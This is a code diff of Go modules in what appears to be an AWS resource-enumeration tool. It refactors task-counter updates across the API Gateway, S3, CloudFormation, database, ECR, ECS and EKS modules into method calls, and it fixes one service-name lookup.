m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayVIPsPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayv2APIsPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayv2VIPsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -244,7 +244,7 @@ func (m *ApiGwModule) writeLoot(outputDirectory string, verbosity int) string {
// err = os.WriteFile(f, []byte(out), 0644)
// if err != nil {
// m.modLog.Error(err.Error())
// m.CommandCounter.Error++
// m.CommandCounter.IncrError()
// panic(err.Error())
// }
@@ -263,8 +263,8 @@ func (m *ApiGwModule) writeLoot(outputDirectory string, verbosity int) string {
func (m *ApiGwModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -272,21 +272,21 @@ func (m *ApiGwModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, s
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
for _, api := range Items {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
for _, endpoint := range m.getEndpointsPerAPIGateway(r, api) {
dataReceiver <- endpoint
}
@@ -295,8 +295,8 @@ func (m *ApiGwModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, s
func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -304,16 +304,16 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -322,7 +322,7 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -334,7 +334,7 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -347,7 +347,7 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
for _, api := range Items {
if api.Id != nil && aws.ToString(api.Id) == aws.ToString(mapping.RestApiId) {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
endpoints := m.getEndpointsPerAPIGateway(r, api)
for _, endpoint := range endpoints {
@@ -376,8 +376,8 @@ func (m *ApiGwModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, s
func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.RestApi) []ApiGateway {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
var gateways []ApiGateway
@@ -402,7 +402,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return gateways
}
@@ -411,7 +411,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, stage := range GetStages.Item {
@@ -427,7 +427,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
}
@@ -454,8 +454,8 @@ func (m *ApiGwModule) getEndpointsPerAPIGateway(r string, api apigatewayTypes.Re
func (m *ApiGwModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -463,20 +463,20 @@ func (m *ApiGwModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
for _, api := range Items {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
for _, endpoint := range m.getEndpointsPerAPIGatewayv2(r, api) {
dataReceiver <- endpoint
}
@@ -486,8 +486,8 @@ func (m *ApiGwModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup,
func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan ApiGateway) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -495,16 +495,16 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -513,7 +513,7 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, item := range GetDomainNames {
@@ -524,7 +524,7 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -537,7 +537,7 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
for _, api := range Items {
if api.ApiId != nil && aws.ToString(api.ApiId) == aws.ToString(mapping.ApiId) {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
endpoints := m.getEndpointsPerAPIGatewayv2(r, api)
for _, endpoint := range endpoints {
var old string
@@ -568,8 +568,8 @@ func (m *ApiGwModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup,
func (m *ApiGwModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2Types.Api) []ApiGateway {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
var gateways []ApiGateway
@@ -588,7 +588,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2Type
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, stage := range GetStages {
@@ -603,7 +603,7 @@ func (m *ApiGwModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2Type
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, stage := range stages {
@@ -643,7 +643,7 @@ func (m *ApiGwModule) ApiGatewayApiKeyRequired(r string, ApiId *string, Resource
if err != nil {
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s", r))
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
} else {
return aws.ToBool(GetMethod.ApiKeyRequired)
}
+7 -7
View File
@@ -88,7 +88,7 @@ func (m *BucketsModule) PrintBuckets(outputDirectory string, verbosity int) {
go m.Receiver(dataReceiver, receiverDone)
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(wg, semaphore, dataReceiver)
wg.Wait()
@@ -203,11 +203,11 @@ func (m *BucketsModule) Receiver(receiver chan BucketRow, receiverDone chan bool
func (m *BucketsModule) executeChecks(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan BucketRow) {
defer wg.Done()
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.createBucketsRows(m.output.Verbosity, wg, semaphore, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}
func (m *BucketsModule) writeLoot(outputDirectory string, verbosity int, profile string) {
@@ -256,8 +256,8 @@ func (m *BucketsModule) writeLoot(outputDirectory string, verbosity int, profile
func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan BucketRow) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -357,7 +357,7 @@ func (m *BucketsModule) storeAccessPolicy(bucket *BucketRow) {
if err := m.storeFile(f, bucket.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
}
+8 -8
View File
@@ -80,7 +80,7 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputDirectory string,
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -206,7 +206,7 @@ func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semap
}
for _, serviceRegion := range serviceRegions {
if r == serviceRegion {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.createCFStackRowsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -231,7 +231,7 @@ func (m *CloudformationModule) writeLoot(outputDirectory string, verbosity int)
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
pullFile := filepath.Join(path, "cloudformation-data.txt")
@@ -271,7 +271,7 @@ func (m *CloudformationModule) writeLoot(outputDirectory string, verbosity int)
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
if verbosity > 2 {
@@ -288,8 +288,8 @@ func (m *CloudformationModule) writeLoot(outputDirectory string, verbosity int)
func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -302,7 +302,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
DescribeStacks, err := sdk.CachedCloudFormationDescribeStacks(m.CloudFormationClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, stack := range DescribeStacks {
@@ -314,7 +314,7 @@ func (m *CloudformationModule) createCFStackRowsPerRegion(r string, wg *sync.Wai
stackTemplateBody, err = sdk.CachedCloudFormationGetTemplate(m.CloudFormationClient, aws.ToString(m.Caller.Account), r, stackName)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
dataReceiver <- CFStack{
+2 -2
View File
@@ -87,7 +87,7 @@ func (m *CodeBuildModule) PrintCodeBuildProjects(outputDirectory string, verbosi
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -224,7 +224,7 @@ func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getcodeBuildProjectsPerRegion(r, wg, semaphore, dataReceiver)
}
+25 -25
View File
@@ -260,7 +260,7 @@ func (m *DatabasesModule) executeCheck(check check) {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
check.wg.Add(1)
go check.executor(check.region, check.wg, check.semaphore, check.dataReceiver)
}
@@ -324,7 +324,7 @@ func (m *DatabasesModule) writeLoot(outputDirectory string, verbosity int) strin
// err = os.WriteFile(f, []byte(out), 0644)
// if err != nil {
// m.modLog.Error(err.Error())
// m.CommandCounter.Error++
// m.CommandCounter.IncrError()
// panic(err.Error())
// }
@@ -343,8 +343,8 @@ func (m *DatabasesModule) writeLoot(outputDirectory string, verbosity int) strin
func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -352,13 +352,13 @@ func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
DBClusters, err := sdk.CachedRDSDescribeDBClusters(m.RDSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -411,8 +411,8 @@ func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -420,14 +420,14 @@ func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -480,8 +480,8 @@ func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup,
func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -489,9 +489,9 @@ func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitG
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
awsService := "Redshift"
protocol := "https"
@@ -502,7 +502,7 @@ func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitG
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -532,8 +532,8 @@ func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitG
func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -541,15 +541,15 @@ func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGrou
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
awsService := "DynamoDB"
Tables, err := sdk.CachedDynamoDBListTables(m.DynamoDBClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -558,7 +558,7 @@ func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGrou
TableOutput, err := sdk.CachedDynamoDBDescribeTable(m.DynamoDBClient, aws.ToString(m.Caller.Account), r, table)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
size := aws.ToInt64(TableOutput.TableSizeBytes)
+5 -5
View File
@@ -84,7 +84,7 @@ func (m *DirectoryModule) PrintDirectories(outputDirectory string, verbosity int
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -198,12 +198,12 @@ func (m *DirectoryModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("clouddirectory", r)
res, err := servicemap.IsServiceInRegion("directoryservice", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getDirectoriesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -223,8 +223,8 @@ func (m *DirectoryModule) Receiver(receiver chan Directory, receiverDone chan bo
}
func (m *DirectoryModule) getDirectoriesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Directory) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
+11 -11
View File
@@ -84,7 +84,7 @@ func (m *ECRModule) PrintECR(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -210,7 +210,7 @@ func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -234,7 +234,7 @@ func (m *ECRModule) writeLoot(outputDirectory string, verbosity int) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
pullFile := filepath.Join(path, "ecr-pull-commands.txt")
@@ -259,7 +259,7 @@ func (m *ECRModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
if verbosity > 2 {
@@ -277,8 +277,8 @@ func (m *ECRModule) writeLoot(outputDirectory string, verbosity int) {
func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Repository) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -290,7 +290,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
Repositories, err := sdk.CachedECRDescribeRepositories(m.ECRClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -302,7 +302,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
images, err := sdk.CachedECRDescribeImages(m.ECRClient, aws.ToString(m.Caller.Account), r, repoName)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -350,7 +350,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
// var repositories []types.Repository
// Repositories, err := sdk.CachedECRDescribeRepositories(m.ECRClient, aws.ToString(m.Caller.Account), r)
// if err != nil {
// m.CommandCounter.Error++
// m.CommandCounter.IncrError()
// return nil, err
// }
@@ -364,7 +364,7 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
// ImageDetails, err := sdk.CachedECRDescribeImages(m.ECRClient, aws.ToString(m.Caller.Account), r, repoName)
// if err != nil {
// m.CommandCounter.Error++
// m.CommandCounter.IncrError()
// return nil, err
// }
// images = append(images, ImageDetails...)
@@ -375,7 +375,7 @@ func (m *ECRModule) getECRRepositoryPolicy(r string, repository string) (policy.
var repoPolicy policy.Policy
Policy, err := sdk.CachedECRGetRepositoryPolicy(m.ECRClient, aws.ToString(m.Caller.Account), r, repository)
if err != nil {
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return repoPolicy, err
}
repoPolicy, err = policy.ParseJSONPolicy([]byte(Policy))
+18 -18
View File
@@ -100,7 +100,7 @@ func (m *ECSTasksModule) ECSTasks(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, dataReceiver)
}
@@ -254,7 +254,7 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
privateIPsFilename := filepath.Join(path, "ecs-tasks-PrivateIPs.txt")
publicIPsFilename := filepath.Join(path, "ecs-tasks-PublicIPs.txt")
@@ -274,12 +274,12 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, task := range m.MappedECSTasks {
@@ -288,14 +288,14 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
taskDefinitionFilename := filepath.Join(path, task.TaskDefinitionName+".json")
err = os.WriteFile(taskDefinitionFilename, []byte(task.TaskDefinitionContent), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
}
}
@@ -321,12 +321,12 @@ func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceive
}
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
m.getListClusters(r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}
}
@@ -335,7 +335,7 @@ func (m *ECSTasksModule) getListClusters(region string, dataReceiver chan Mapped
ClusterArns, err := sdk.CachedECSListClusters(m.ECSClient, aws.ToString(m.Caller.Account), region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -349,7 +349,7 @@ func (m *ECSTasksModule) getListTasks(clusterARN string, region string, dataRece
TaskArns, err := sdk.CachedECSListTasks(m.ECSClient, aws.ToString(m.Caller.Account), region, clusterARN)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -374,7 +374,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
Tasks, err := sdk.CachedECSDescribeTasks(m.ECSClient, aws.ToString(m.Caller.Account), region, clusterARN, taskARNs)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -388,7 +388,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
publicIPs, err := m.loadPublicIPs(eniIDs, region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -397,7 +397,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
taskDefinition, err := sdk.CachedECSDescribeTaskDefinition(m.ECSClient, aws.ToString(m.Caller.Account), region, aws.ToString(task.TaskDefinitionArn))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
mappedTask := MappedECSTask{
@@ -446,7 +446,7 @@ func (m *ECSTasksModule) describeTaskDefinition(taskDefinitionArn string, region
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return types.TaskDefinition{}, err
}
return *DescribeTaskDefinition.TaskDefinition, nil
@@ -466,7 +466,7 @@ func (m *ECSTasksModule) loadAllPublicIPs(eniIDs []string, region string) (map[s
publicIPs, err := m.loadPublicIPs(eniIDs[i:j], region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return nil, fmt.Errorf("getting elastic network interfaces: %s", err)
}
+9 -9
View File
@@ -102,7 +102,7 @@ func (m *EKSModule) EKS(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -255,7 +255,7 @@ func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getEKSRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -279,7 +279,7 @@ func (m *EKSModule) writeLoot(outputDirectory string, verbosity int) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
pullFile := filepath.Join(path, "eks-kubeconfig-commands.txt")
@@ -303,7 +303,7 @@ func (m *EKSModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
if verbosity > 2 {
@@ -322,8 +322,8 @@ func (m *EKSModule) writeLoot(outputDirectory string, verbosity int) {
func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Cluster) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
